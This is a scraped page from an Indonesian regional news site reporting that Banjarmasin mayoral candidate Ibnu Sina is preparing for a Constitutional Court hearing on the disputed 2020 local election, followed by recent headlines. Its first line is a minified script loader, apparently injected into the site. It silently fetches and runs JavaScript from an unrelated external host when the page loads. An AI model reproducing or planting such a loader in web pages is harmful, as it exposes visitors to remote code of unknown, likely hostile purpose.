(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ibnu Sina Lakukan Persiapan Hadapi Gugatan Tim Hukum AnandaMu di MK


KANALKALIMANTAN.COM, BANJARMASIN – Menyikapi putusan Mahkamah Konstitusi (MK) yang memutus melanjutkan proses persidangan sengketa Pilkada Banjarmasin 2020 ke tahap pembuktian, pasangan Calon (Paslon) Nomor Urut 2, Ibnu Sina dan Arifin Noor bersama Tim Kuasa Hukumnya sudah siap tarung. Rencananya sidang tahap pembuktian di MK yang dijadwalkan pada 1 Maret 2021 nanti.

“Kita sedang melakukan persiapan menghadapi sidang sengketa lanjutan di MK,” kata Ibnu Sina seusai acara perpisahan dengan Aparatur Sipil Negara ( ASN ) di Pemko Banjarmasin, Rabu (17/2/2021) malam.

Ia mengatakan, menghadapi sidang di MK sudah berkomunikasi bersama tim kuasa hukumnya. Dan juga melakukan persiapan alat-alat bukti untuk membantah dalam persidangan nantinya

“Selalu menginformasikan, update ke mereka dalam persiapan-persiapan, beserta alat-alat bukti untuk membantah dalam sidang nanti,” bebernya.

 

Dalam pelaksanaan sidang di MK nanti, Ibnu Sina sendiri menyampaikan bahwa tidak bisa berhadir secara langsung di MK, tetapi akan mengikuti persidangan secara Virtual.

“Mematuhi Protokol Covid-19 untuk berhadir secara langsung di MK mungkin tidak bisa, tetapi tetap kita ikuti waktu yang sudah terjadwal persidangan secara virtual,” terangnya.

Dan Ibnu Sina sendiri juga meyakini apa yang dilakukannya selama tahapan Pilkada 2020 lalu sudah menaati peraturan yang berlaku di PKPU.

“Kita yakin apa yang di lakukan selama ini, dan masyarakat yang melihat sudah menentukan pilihannya, kita hormati proses hukumnya. Insya Allah sesuai dengan harapan,” tutupnya.

Diketahui agenda yang dijadwalkan pada 1 Maret 2021 pukul 13.30 WIB di MK nanti yakni mendengar keterangan saksi/ahli dan juga mengesahkan alat bukti tambahan.
Dan juga agenda penting untuk sidang yang memasuki tahap pembuktian tersebut, Tim Hukum Paslon nomor urut 4 Wali Kota dan Wakil Wali Kota Banjarmasin Ananda-Mushaffa Zakir, akan menambahkan beberapa bukti baru.(Kanalkalimantan.com/putra)

Reporter: putra
Editor: cell


Al Ghifari

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

7 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

9 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

10 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

21 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

21 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

1 hari ago

This website uses cookies.